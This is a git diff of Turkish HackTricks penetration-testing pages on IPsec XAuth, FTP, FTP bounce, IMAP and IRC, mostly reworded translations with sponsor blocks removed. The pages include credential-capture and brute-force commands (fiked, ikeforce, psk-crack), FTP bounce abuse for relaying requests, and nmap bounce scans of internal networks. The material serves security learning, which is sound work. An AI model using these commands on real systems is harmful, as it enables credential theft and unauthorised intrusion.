@ -199,9 +191,9 @@ psk-crack -d <Wordlist_path> psk.txt
``` ```
## **XAuth** ## **XAuth**
**Agresif mod IKE**, **Önceden Paylaşılan Anahtar (PSK)** ile birleştirilerek **grup kimlik doğrulama** amaçları için yaygın olarak kullanılmaktadır. Bu yöntem, ek bir **kullanıcı kimlik doğrulama** katmanı eklemek için **XAuth (Genişletilmiş Kimlik Doğrulama)** ile güçlendirilmiştir. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetleri kullanır. **Agresif mod IKE**, **Önceden Paylaşılan Anahtar (PSK)** ile birleştirildiğinde, genellikle **grup kimlik doğrulama** amaçları için kullanılır. Bu yöntem, ek bir **kullanıcı kimlik doğrulama** katmanı eklemek için **XAuth (Genişletilmiş Kimlik Doğrulama)** ile güçlendirilmiştir. Bu tür kimlik doğrulama genellikle **Microsoft Active Directory**, **RADIUS** veya benzeri sistemler gibi hizmetleri kullanır.
**IKEv2**'ye geçişte, kullanıcıları kimlik doğrulamak amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığına dair önemli bir değişim gözlemlenmektedir. Bu değişim, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi vurgulamaktadır. **IKEv2**'ye geçişte, kullanıcıları kimlik doğrulamak amacıyla **XAuth** yerine **EAP (Genişletilebilir Kimlik Doğrulama Protokolü)** kullanıldığına dair önemli bir değişiklik gözlemlenmektedir. Bu değişiklik, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi vurgular.
### Yerel ağ MitM ile kimlik bilgilerini yakalama ### Yerel ağ MitM ile kimlik bilgilerini yakalama
@ -209,7 +201,7 @@ Bu nedenle, _fiked_ kullanarak giriş verilerini yakalayabilir ve varsayılan bi
```bash ```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d fiked -g <IP> -k testgroup:secretkey -l output.txt -d
``` ```
Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı deneyin ve 500 numaralı porta giden tüm trafiği engelleyin, eğer IPSec tüneli kurulamazsa belki trafik açık olarak gönderilecektir. Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı deneyin ve tüm trafiği 500 numaralı porta engelleyin, eğer IPSec tüneli kurulamazsa belki trafik açık olarak gönderilecektir.
### XAUTH kullanıcı adı ve şifresini ikeforce ile brute-force yapmak ### XAUTH kullanıcı adı ve şifresini ikeforce ile brute-force yapmak
@ -219,11 +211,11 @@ Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı deneyin ve 500 numaral
``` ```
Bu şekilde, ikeforce her kullanıcı adı:şifre kombinasyonunu kullanarak bağlanmaya çalışacaktır. Bu şekilde, ikeforce her kullanıcı adı:şifre kombinasyonunu kullanarak bağlanmaya çalışacaktır.
Eğer bir veya birkaç geçerli dönüşüm bulduysanız, bunları önceki adımlardaki gibi kullanabilirsiniz. Eğer bir veya birkaç geçerli dönüşüm bulduysanız, bunları önceki adımlardaki gibi kullanın.
## IPSEC VPN ile Kimlik Doğrulama ## IPSEC VPN ile Kimlik Doğrulama
Kali'de, **VPNC** IPsec tünellerini kurmak için kullanılır. **profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz. Kali'de, **VPNC** IPsec tünelleri kurmak için kullanılır. **profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz.
Aşağıdaki komutlar ve yapılandırmalar, VPNC ile bir VPN bağlantısı kurma sürecini göstermektedir: Aşağıdaki komutlar ve yapılandırmalar, VPNC ile bir VPN bağlantısı kurma sürecini göstermektedir:
```bash ```bash
@ -245,7 +237,7 @@ In this setup:
* `[VPN_CONNECTION_ID]` ile VPN bağlantısının tanımlayıcısını değiştirin. * `[VPN_CONNECTION_ID]` ile VPN bağlantısının tanımlayıcısını değiştirin.
* `[VPN_GROUP_SECRET]` ile VPN'nin grup sırrını değiştirin. * `[VPN_GROUP_SECRET]` ile VPN'nin grup sırrını değiştirin.
* `[VPN_USERNAME]` ve `[VPN_PASSWORD]` ile VPN kimlik doğrulama bilgilerini değiştirin. * `[VPN_USERNAME]` ve `[VPN_PASSWORD]` ile VPN kimlik doğrulama bilgilerini değiştirin.
* `[PID]`, `vpnc` başlatıldığında atanacak işlem kimliğini simgeler. * `[PID]` `vpnc` başlatıldığında atanacak işlem kimliğini simgeler.
VPN'i yapılandırırken yer tutucuları değiştirmek için gerçek, güvenli değerlerin kullanıldığından emin olun. VPN'i yapılandırırken yer tutucuları değiştirmek için gerçek, güvenli değerlerin kullanıldığından emin olun.
@ -260,11 +252,6 @@ VPN'i yapılandırırken yer tutucuları değiştirmek için gerçek, güvenli d
* `port:500 IKE` * `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
**Dosya Transfer Protokolü (FTP)**, bir sunucu ile bir istemci arasında bir bilgisayar ağı üzerinden dosya transferi için standart bir protokol olarak hizmet eder.\ **Dosya Transfer Protokolü (FTP)**, bir sunucu ile bir istemci arasında bir bilgisayar ağı üzerinden dosya transferi için standart bir protokol olarak hizmet eder.\
@ -35,7 +27,7 @@ PORT STATE SERVICE
``` ```
### Bağlantılar Aktif & Pasif ### Bağlantılar Aktif & Pasif
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan FTP İstemcisinin N+1 portuna** **başlatır**. **Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra **N+1** portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan FTP İstemcisinin N+1 portuna** **başlatır**.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı varsa, o zaman aktif FTP bir sorun olabilir. Bunun için uygulanabilir bir çözüm Pasif FTP'dir. Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı varsa, o zaman aktif FTP bir sorun olabilir. Bunun için uygulanabilir bir çözüm Pasif FTP'dir.
@ -45,11 +37,11 @@ Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
### Bağlantı hata ayıklama ### Bağlantı hata ayıklama
**FTP** komutları **`debug`** ve **`trace`** iletişimin **nasıl gerçekleştiğini** görmek için kullanılabilir. **FTP** komutları **`debug`** ve **`trace`** **ile iletişimin nasıl gerçekleştiğini** görebilirsiniz.
## Sayım ## Sayım
### Banner Alma ### Afiş Alma
```bash ```bash
nc -vn <IP> 21 nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
@ -106,7 +98,7 @@ SIZE
STAT STAT
#Info about the FTP server (version, configs, status...) #Info about the FTP server (version, configs, status...)
``` ```
### Anonim giriş ### Anonymous login
_anonymous : anonim_\ _anonymous : anonim_\
_anonymous :_\ _anonymous :_\
@ -126,7 +118,7 @@ Burada varsayılan ftp kimlik bilgileriyle ilgili güzel bir liste bulabilirsini
### Automated ### Automated
Anon giriş ve bounce FTP kontrolleri, nmap ile varsayılan olarak **-sC** seçeneği ile gerçekleştirilir veya: Anon giriş ve bounce FTP kontrolleri, nmap ile varsayılan olarak **-sC** seçeneğiyle gerçekleştirilir veya:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
@ -155,11 +147,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* \*\*`PORT 127,0,0,1,0,80`\*\* Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_). * \*\*`PORT 127,0,0,1,0,80`\*\* Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\* Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**. * \*\*`EPRT |2|127.0.0.1|80|`\*\* Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**.
* **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir * **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir
* **`LIST -R`** Rekürsif liste (sunucu tarafından izin verilirse) * **`LIST -R`** Rekürsif listeleme (sunucu tarafından izin verilirse)
* **`APPE /path/something.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından alınan verileri bir dosyaya kaydetmesini belirtir. Dosya adı mevcutsa, verileri ekler. * **`APPE /path/something.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından alınan verileri bir dosyaya kaydetmesini belirtir. Dosya adı mevcutsa, verileri ekler.
* **`STOR /path/something.txt`** `APPE` gibi ama dosyaları üzerine yazar * **`STOR /path/something.txt`** `APPE` gibi ama dosyaları üzerine yazar
* **`STOU /path/something.txt`** `APPE` gibi, ama mevcutsa hiçbir şey yapmaz. * **`STOU /path/something.txt`** `APPE` gibi, ama mevcutsa hiçbir şey yapmaz.
* **`RETR /path/to/file`** Pasif veya bir port bağlantısı kurulmalıdır. Ardından, FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderir * **`RETR /path/to/file`** Pasif veya bir port bağlantısı kurulmalıdır. Ardından, FTP sunucusu belirtilen dosyayı bu bağlantı üzerinden gönderir
* **`REST 6`** Bu, sunucuya bir sonraki `RETR` kullanıldığında 6. bayttan başlaması gerektiğini belirtir. * **`REST 6`** Bu, sunucuya bir sonraki `RETR` kullanıldığında 6. bayttan başlaması gerektiğini belirtir.
* **`TYPE i`** Transferi ikili olarak ayarlar * **`TYPE i`** Transferi ikili olarak ayarlar
* **`PASV`** Bu, pasif bir bağlantı açar ve kullanıcıya nereden bağlanabileceğini belirtir * **`PASV`** Bu, pasif bir bağlantı açar ve kullanıcıya nereden bağlanabileceğini belirtir
@ -171,17 +163,17 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir portta bağlanmak istediğinizi belirtmek için kullanılabilir. Ardından, bunu bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz. Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir portta bağlanmak istediğinizi belirtmek için kullanılabilir. Ardından, bunu bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz.
[**Burada bir FTP sunucusunu portları taramak için nasıl kötüye kullanacağınızı öğrenin.**](ftp-bounce-attack.md) [**Burada bir FTP sunucusunu kullanarak portları nasıl tarayacağınızı öğrenin.**](ftp-bounce-attack.md)
Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir yönetici kullanıcısı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\ Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir yönetici kullanıcısı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teori basit: Teori basit:
1. **İsteği (bir metin dosyası içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın. 1. **İsteği (bir metin dosyası içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosya içinde yüklemek için başta bazı resim başlıkları koymanız gerekiyordu). 2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosya içinde yüklemek için başta bazı resim başlıkları koymanız gerekiyordu)
3. **Rastgele sunucu ve hizmete bağlanmak için `PORT` kullanın** 3. **Rastgele sunucu ve hizmete bağlanmak için `PORT` kullanın**
4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.** 4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.**
Bu **bir hata fırlatması muhtemeldir** _**Socket yazılabilir değil**_ **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemeye çalışmak için öneriler: Bu **hata verecektir** _**Socket yazılabilir değil**_ **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemeye çalışmak için öneriler:
* Eğer bir HTTP isteği gönderiyorsanız, **aynı isteği birbiri ardına koyun** en az **\~0.5MB** kadar. Böylece: * Eğer bir HTTP isteği gönderiyorsanız, **aynı isteği birbiri ardına koyun** en az **\~0.5MB** kadar. Böylece:
@ -192,11 +184,11 @@ posts.txt
* İsteği **protokole göre "çöp" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece çöp komutlar veya dosyayı almak için `RETR` talimatını tekrarlamak) * İsteği **protokole göre "çöp" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece çöp komutlar veya dosyayı almak için `RETR` talimatını tekrarlamak)
* Sadece **isteği birçok null karakter veya diğerleriyle doldurun** (satırlara bölünmüş veya bölünmemiş) * Sadece **isteği birçok null karakter veya diğerleriyle doldurun** (satırlara bölünmüş veya bölünmemiş)
Her neyse, burada [bu durumu kötüye kullanarak bir FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesi hakkında eski bir örnek var.](ftp-bounce-download-2oftp-file.md) Her neyse, burada [bu davranışı kullanarak bir FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesi hakkında eski bir örnek var.](ftp-bounce-download-2oftp-file.md)
## Filezilla Sunucu Açığı ## Filezilla Sunucu Açığı
**FileZilla** genellikle **yerel** bir **Yönetim hizmetine** **FileZilla-Server** için (port 14147) **bağlanır**. Eğer bu porta erişmek için **makinenizden** bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz. **FileZilla** genellikle **yerel** bir **Yönetim hizmetine** **FileZilla-Server** için (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı oluşturabilirsiniz**.
## Konfigürasyon dosyaları ## Konfigürasyon dosyaları
``` ```
@ -224,15 +216,6 @@ vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabi
* `ftp` * `ftp`
* `port:21` * `port:21`
***
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Automatic Commands ## HackTricks Automatic Commands
``` ```
@ -295,7 +278,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -15,20 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group** ## FTP Bounce - Scanning
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> ### Manual
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## FTP Bounce - Tarama
### Manuel
1. Zayıf FTP'ye bağlanın 1. Zayıf FTP'ye bağlanın
2. Tarama yapmak istediğiniz _\<IP:Port>_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ama sadece birini) kullanın: 2. Taramak istediğiniz _\<IP:Port>_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ama sadece birini) kullanın:
`PORT 172,32,80,80,0,8080`\ `PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|` `EPRT |2|172.32.80.80|8080|`
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
``` ```
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Internet Mesaj Erişim Protokolü ## Internet Mesaj Erişim Protokolü
**Internet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **e-posta mesajlarına herhangi bir yerden erişimini** sağlamak amacıyla tasarlanmıştır; bu, esasen bir İnternet bağlantısı aracılığıyla gerçekleşir. Temelde, e-postalar **bir sunucuda saklanır** ve bireysel bir cihazda indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **birden fazla cihazdan** e-postaları kontrol etme kolaylığını sağlar ve kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmamasını garanti eder. **Internet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **e-posta mesajlarına herhangi bir yerden erişimini sağlamak** amacıyla tasarlanmıştır; bu, esasen bir Internet bağlantısı aracılığıyla gerçekleşir. Temelde, e-postalar **bir sunucuda saklanır** ve bireysel bir cihazda indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **birden fazla cihazdan** e-postaları kontrol etme kolaylığını sağlar ve kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmamasını garanti eder.
Varsayılan olarak, IMAP protokolü iki portta çalışır: Varsayılan olarak, IMAP protokolü iki portta çalışır:
@ -55,7 +47,7 @@ Or **otomatikleştir** bunu **nmap** eklentisi `imap-ntlm-info.nse` ile
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap) ### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
## Söz Dizimi ## Sözdizimi
IMAP Komutları örnekleri [buradan](https://donsutherland.org/crib/imap): IMAP Komutları örnekleri [buradan](https://donsutherland.org/crib/imap):
``` ```
@ -154,14 +146,8 @@ done
``` ```
## Shodan ## Shodan
* `port:143 CAPABILITY` * `port:143 YETENEK`
* `port:993 CAPABILITY` * `port:993 YETENEK`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Otomatik Komutlar ## HackTricks Otomatik Komutlar
``` ```

View file

@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) , **stealer malwares** tarafından **tehdit edilmiş** bir şirketin veya müşterilerinin durumunu kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Temel Bilgiler ## Temel Bilgiler
IRC, başlangıçta **düz metin protokolü** olarak IANA tarafından **194/TCP** olarak atanmış, ancak genellikle **6667/TCP** ve benzeri portlarda çalıştırılmaktadır; bu, çalıştırma için **root ayrıcalıkları** gerektirmemek içindir. IRC, başlangıçta bir **düz metin protokolü** olarak, IANA tarafından **194/TCP** olarak atanmıştır ancak genellikle **6667/TCP** ve benzeri portlarda çalıştırılır, böylece çalıştırma için **root ayrıcalıkları** gerektirmez.
Bir sunucuya bağlanmak için gereken tek şey bir **takma ad**dır. Bağlantıdan sonra, sunucu kullanıcının IP'si üzerinde ters DNS sorgusu gerçekleştirir. Bir **takma ad** bir sunucuya bağlanmak için gereken tek şeydir. Bağlantıdan sonra, sunucu kullanıcının IP'si üzerinde ters DNS sorgusu gerçekleştirir.
Kullanıcılar, daha fazla erişim için bir **kullanıcı adı** ve **şifre**ye ihtiyaç duyan **operatörler** ve normal **kullanıcılar** olarak ikiye ayrılır. Operatörlerin farklı ayrıcalık seviyeleri vardır; yöneticiler en üstte yer alır. Kullanıcılar, daha fazla erişim için bir **kullanıcı adı** ve **şifre** gerektiren **operatörler** ve normal **kullanıcılar** olarak ikiye ayrılır. Operatörlerin farklı ayrıcalık seviyeleri vardır, yöneticiler en üstte yer alır.
**Varsayılan portlar:** 194, 6667, 6660-7000 **Varsayılan portlar:** 194, 6667, 6660-7000
``` ```
@ -51,7 +38,7 @@ IRC **TLS**'yi destekleyebilir.
nc -vn <IP> <PORT> nc -vn <IP> <PORT>
openssl s_client -connect <IP>:<PORT> -quiet openssl s_client -connect <IP>:<PORT> -quiet
``` ```
### Manual ### Manuel
Burada bazı **rastgele takma ad** kullanarak IRC'ye nasıl bağlanacağınızı ve bazı ilginç bilgileri nasıl listeleyeceğinizi görebilirsiniz. IRC'nin daha fazla komutunu [buradan](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP) öğrenebilirsiniz. Burada bazı **rastgele takma ad** kullanarak IRC'ye nasıl bağlanacağınızı ve bazı ilginç bilgileri nasıl listeleyeceğinizi görebilirsiniz. IRC'nin daha fazla komutunu [buradan](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP) öğrenebilirsiniz.
```bash ```bash
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
* `hostname'unuzu arama` * `hostname'unuzu arama`
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edildiğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
